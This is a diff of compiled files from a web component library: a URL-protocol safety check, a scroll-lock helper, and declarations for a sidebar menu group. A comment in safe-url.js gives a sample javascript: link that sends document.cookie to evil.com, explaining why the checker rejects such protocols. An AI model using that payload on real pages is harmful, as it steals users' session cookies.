E,CAAC;IAChB,CAAC;AACH,CAAC"}
@@ -0,0 +1,14 @@
1
+ /**
2
+ * Returns the URL when its protocol is safe to navigate to, otherwise
3
+ * null. Relative URLs resolve against the current page, so "/about" is
4
+ * allowed. javascript:, data:, blob: and anything unrecognised are not.
5
+ */
6
+ export declare function safeUrl(url: string): string | null;
7
+ /**
8
+ * Opens a URL in a new tab, doing nothing if the protocol is unsafe.
9
+ *
10
+ * noopener and noreferrer are separate concerns from the protocol check:
11
+ * they stop the opened page reaching back through window.opener.
12
+ */
13
+ export declare function openSafely(url: string): void;
14
+ //# sourceMappingURL=safe-url.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"safe-url.d.ts","sourceRoot":"","sources":["../src/safe-url.ts"],"names":[],"mappings":"AAeA;;;;GAIG;AACH,wBAAgB,OAAO,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CAclD;AAED;;;;;GAKG;AACH,wBAAgB,UAAU,CAAC,GAAG,EAAE,MAAM,GAAG,IAAI,CAK5C"}
@@ -0,0 +1,46 @@
1
+ /*
2
+ URLs that arrive as data cannot be trusted.
3
+
4
+ In a directory or marketplace, links are typed in by users: a company
5
+ enters its own website. A value like
6
+
7
+ javascript:fetch("https://evil.com?c=" + document.cookie)
8
+
9
+ executes when opened, so anything reaching window.open or an href must
10
+ be checked first. Escaping does not help: the string is perfectly
11
+ valid, it is the protocol that is dangerous.
12
+ */
13
+ const SAFE_PROTOCOLS = new Set(["http:", "https:", "mailto:", "tel:"]);
14
+ /**
15
+ * Returns the URL when its protocol is safe to navigate to, otherwise
16
+ * null. Relative URLs resolve against the current page, so "/about" is
17
+ * allowed. javascript:, data:, blob: and anything unrecognised are not.
18
+ */
19
+ export function safeUrl(url) {
20
+ const trimmed = url?.trim();
21
+ if (!trimmed)
22
+ return null;
23
+ try {
24
+ // The base makes relative URLs parse. Without it new URL("/about")
25
+ // throws and a legitimate link would be rejected.
26
+ const parsed = new URL(trimmed, window.location.href);
27
+ return SAFE_PROTOCOLS.has(parsed.protocol) ? parsed.href : null;
28
+ }
29
+ catch {
30
+ // Unparseable is not safe.
31
+ return null;
32
+ }
33
+ }
34
+ /**
35
+ * Opens a URL in a new tab, doing nothing if the protocol is unsafe.
36
+ *
37
+ * noopener and noreferrer are separate concerns from the protocol check:
38
+ * they stop the opened page reaching back through window.opener.
39
+ */
40
+ export function openSafely(url) {
41
+ const safe = safeUrl(url);
42
+ if (!safe)
43
+ return;
44
+ window.open(safe, "_blank", "noopener,noreferrer");
45
+ }
46
+ //# sourceMappingURL=safe-url.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"safe-url.js","sourceRoot":"","sources":["../src/safe-url.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;EAWE;AAEF,MAAM,cAAc,GAAG,IAAI,GAAG,CAAC,CAAC,OAAO,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAC,CAAC,CAAC;AAEvE;;;;GAIG;AACH,MAAM,UAAU,OAAO,CAAC,GAAW;IACjC,MAAM,OAAO,GAAG,GAAG,EAAE,IAAI,EAAE,CAAC;IAC5B,IAAI,CAAC,OAAO;QAAE,OAAO,IAAI,CAAC;IAE1B,IAAI,CAAC;QACH,mEAAmE;QACnE,kDAAkD;QAClD,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,OAAO,EAAE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;QAEtD,OAAO,cAAc,CAAC,GAAG,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC;IAClE,CAAC;IAAC,MAAM,CAAC;QACP,2BAA2B;QAC3B,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,UAAU,CAAC,GAAW;IACpC,MAAM,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC;IAC1B,IAAI,CAAC,IAAI;QAAE,OAAO;IAElB,MAAM,CAAC,IAAI,CAAC,IAAI,EAAE,QAAQ,EAAE,qBAAqB,CAAC,CAAC;AACrD,CAAC"}
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Freezing the page behind an overlay, without moving it.
3
+ *
4
+ * Setting `overflow: hidden` on the body is the easy half. The half that
5
+ * gets missed is that on a desktop with classic scrollbars this REMOVES a
6
+ * ~15px scrollbar, the layout viewport gets 15px wider, and every centred
7
+ * or right-aligned thing on the page slides sideways at the moment the
8
+ * overlay appears. Measured on this repo: clientWidth went 685 -> 700 the
9
+ * instant a drawer opened. It reads as the button you just pressed
10
+ * jumping, which is exactly how it was reported.
11
+ *
12
+ * So the scrollbar's width is measured before the lock and given back as
13
+ * padding, and the page does not move at all.
14
+ *
15
+ * Reference counted, because overlays stack. A modal opened from inside a
16
+ * drawer must not unlock the page when only the modal closes, and two
17
+ * components each restoring what they think the old value was is how you
18
+ * get a page that can never scroll again.
19
+ */
20
+ export declare function lockScroll(): void;
21
+ export declare function unlockScroll(): void;
22
+ //# sourceMappingURL=scroll-lock.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"scroll-lock.d.ts","sourceRoot":"","sources":["../src/scroll-lock.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAQH,wBAAgB,UAAU,IAAI,IAAI,CA0BjC;AAED,wBAAgB,YAAY,IAAI,IAAI,CAQnC"}
@@ -0,0 +1,56 @@
1
+ /**
2
+ * Freezing the page behind an overlay, without moving it.
3
+ *
4
+ * Setting `overflow: hidden` on the body is the easy half. The half that
5
+ * gets missed is that on a desktop with classic scrollbars this REMOVES a
6
+ * ~15px scrollbar, the layout viewport gets 15px wider, and every centred
7
+ * or right-aligned thing on the page slides sideways at the moment the
8
+ * overlay appears. Measured on this repo: clientWidth went 685 -> 700 the
9
+ * instant a drawer opened. It reads as the button you just pressed
10
+ * jumping, which is exactly how it was reported.
11
+ *
12
+ * So the scrollbar's width is measured before the lock and given back as
13
+ * padding, and the page does not move at all.
14
+ *
15
+ * Reference counted, because overlays stack. A modal opened from inside a
16
+ * drawer must not unlock the page when only the modal closes, and two
17
+ * components each restoring what they think the old value was is how you
18
+ * get a page that can never scroll again.
19
+ */
20
+ let locks = 0;
21
+ // What the body had before the FIRST lock. Restored by the last unlock.
22
+ let previousOverflow = "";
23
+ let previousPaddingRight = "";
24
+ export function lockScroll() {
25
+ locks += 1;
26
+ if (locks > 1)
27
+ return;
28
+ const body = document.body;
29
+ previousOverflow = body.style.overflow;
30
+ previousPaddingRight = body.style.paddingRight;
31
+ /*
32
+ innerWidth includes the scrollbar, clientWidth does not, so the
33
+ difference IS the scrollbar. Zero on overlay-scrollbar platforms
34
+ (most phones, macOS by default), which is why this must be measured
35
+ rather than assumed to be 15px.
36
+
37
+ Measured before overflow changes, or the scrollbar is already gone
38
+ and the difference is always zero.
39
+ */
40
+ const gutter = window.innerWidth - document.documentElement.clientWidth;
41
+ body.style.overflow = "hidden";
42
+ if (gutter > 0) {
43
+ const current = parseFloat(getComputedStyle(body).paddingRight) || 0;
44
+ body.style.paddingRight = `${current + gutter}px`;
45
+ }
46
+ }
47
+ export function unlockScroll() {
48
+ if (locks === 0)
49
+ return;
50
+ locks -= 1;
51
+ if (locks > 0)
52
+ return;
53
+ document.body.style.overflow = previousOverflow;
54
+ document.body.style.paddingRight = previousPaddingRight;
55
+ }
56
+ //# sourceMappingURL=scroll-lock.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"scroll-lock.js","sourceRoot":"","sources":["../src/scroll-lock.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAEH,IAAI,KAAK,GAAG,CAAC,CAAC;AAEd,wEAAwE;AACxE,IAAI,gBAAgB,GAAG,EAAE,CAAC;AAC1B,IAAI,oBAAoB,GAAG,EAAE,CAAC;AAE9B,MAAM,UAAU,UAAU;IACxB,KAAK,IAAI,CAAC,CAAC;IACX,IAAI,KAAK,GAAG,CAAC;QAAE,OAAO;IAEtB,MAAM,IAAI,GAAG,QAAQ,CAAC,IAAI,CAAC;IAE3B,gBAAgB,GAAG,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC;IACvC,oBAAoB,GAAG,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC;IAE/C;;;;;;;;MAQE;IACF,MAAM,MAAM,GAAG,MAAM,CAAC,UAAU,GAAG,QAAQ,CAAC,eAAe,CAAC,WAAW,CAAC;IAExE,IAAI,CAAC,KAAK,CAAC,QAAQ,GAAG,QAAQ,CAAC;IAE/B,IAAI,MAAM,GAAG,CAAC,EAAE,CAAC;QACf,MAAM,OAAO,GAAG,UAAU,CAAC,gBAAgB,CAAC,IAAI,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC;QACrE,IAAI,CAAC,KAAK,CAAC,YAAY,GAAG,GAAG,OAAO,GAAG,MAAM,IAAI,CAAC;IACpD,CAAC;AACH,CAAC;AAED,MAAM,UAAU,YAAY;IAC1B,IAAI,KAAK,KAAK,CAAC;QAAE,OAAO;IAExB,KAAK,IAAI,CAAC,CAAC;IACX,IAAI,KAAK,GAAG,CAAC;QAAE,OAAO;IAEtB,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,QAAQ,GAAG,gBAAgB,CAAC;IAChD,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,YAAY,GAAG,oBAAoB,CAAC;AAC1D,CAAC"}
@@ -0,0 +1,69 @@
1
+ import { LitElement } from "lit";
2
+ import "../tt-icon.js";
3
+ /**
4
+ * A labelled section of sidebar navigation, optionally collapsible.
5
+ *
6
+ * ---------------------------------------------------------------------
7
+ * TWO MODES.
8
+ *
9
+ * (default) the heading is a plain label and the content
10
+ * is always there. This is the right shape when
11
+ * a group exists to name a set of links rather
12
+ * than to hide them.
13
+ * collapsible the heading is a button, the content opens
14
+ * and closes, and `open` is the state.
15
+ *
16
+ * Opt-in, like tt-sidebar's collapsible and every other boolean: a
17
+ * boolean attribute can only switch something ON.
18
+ *
19
+ * The default is the old behaviour exactly, so nothing that already uses
20
+ * this component changes.
21
+ *
22
+ * ---------------------------------------------------------------------
23
+ * WHY THE HEADING ROW IS A ROW.
24
+ *
25
+ * Same reason as tt-menu-item: an actions slot next to a heading BUTTON
26
+ * cannot live inside that button, because a button inside a button is
27
+ * invalid HTML. So the heading row holds two siblings.
28
+ *
29
+ * ---------------------------------------------------------------------
30
+ * RAIL MODE.
31
+ *
32
+ * When tt-sidebar is collapsed it hides these headings and forces every
33
+ * group open. A closed group in a rail would be unreachable: its own
34
+ * heading is the only way to open it, and that heading is exactly what a
35
+ * rail has no room for. Both facts arrive as inherited custom properties,
36
+ * so this component still knows nothing about the sidebar.
37
+ *
38
+ * The events, for the custom-elements manifest. Its analyzer reads event
39
+ * names from string literals at the dispatch site, and these are chosen at
40
+ * run time, so without the tags the manifest listed a bogus event instead.
41
+ * @fires tt-open - When the group expands.
42
+ * @fires tt-close - When the group collapses.
43
+ * @fires tt-toggle - Either way, with detail.open.
44
+ */
45
+ export declare class TTMenuGroup extends LitElement {
46
+ heading: string;
47
+ open: boolean;
48
+ disabled: boolean;
49
+ collapsible: boolean;
50
+ private hasActions;
51
+ private contentId;
52
+ private headingId;
53
+ /**
54
+ * Flips it and announces, the same call the heading makes. Public, and
55
+ * announced with tt-toggle as well as tt-open / tt-close, because
56
+ * tt-collapsible does both: the two are the same self-owning disclosure.
57
+ */
58
+ toggle(): void;
59
+ private updateActions;
60
+ static styles: import("lit").CSSResult;
61
+ private renderLabel;
62
+ render(): import("lit-html").TemplateResult<1>;
63
+ }
64
+ declare global {
65
+ interface HTMLElementTagNameMap {
66
+ "tt-menu-group": TTMenuGroup;
67
+ }
68
+ }
69
+ //# sourceMappingURL=tt-menu-group.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tt-menu-group.d.ts","sourceRoot":"","sources":["../../src/sidebar/tt-menu-group.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAsB,MAAM,KAAK,CAAC;AAIrD,OAAO,eAAe,CAAC;AAIvB;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAyCG;AACH,qBACa,WAAY,SAAQ,UAAU;IAEzC,OAAO,SAAM;IAGb,IAAI,UAAS;IAGb,QAAQ,UAAS;IAGjB,WAAW,UAAS;IAGpB,OAAO,CAAC,UAAU,CAAS;IAE3B,OAAO,CAAC,SAAS,CAAwC;IACzD,OAAO,CAAC,SAAS,CAAsC;IAEvD;;;;OAIG;IACH,MAAM;IAqBN,OAAO,CAAC,aAAa;IAYrB,MAAM,CAAC,MAAM,0BA4LX;IAEF,OAAO,CAAC,WAAW;IAkCnB,MAAM;CA8BP;AAED,OAAO,CAAC,MAAM,CAAC;IACb,UAAU,qBAAqB;QAC7B,eAAe,EAAE,WAAW,CAAC;KAC9B;CACF"}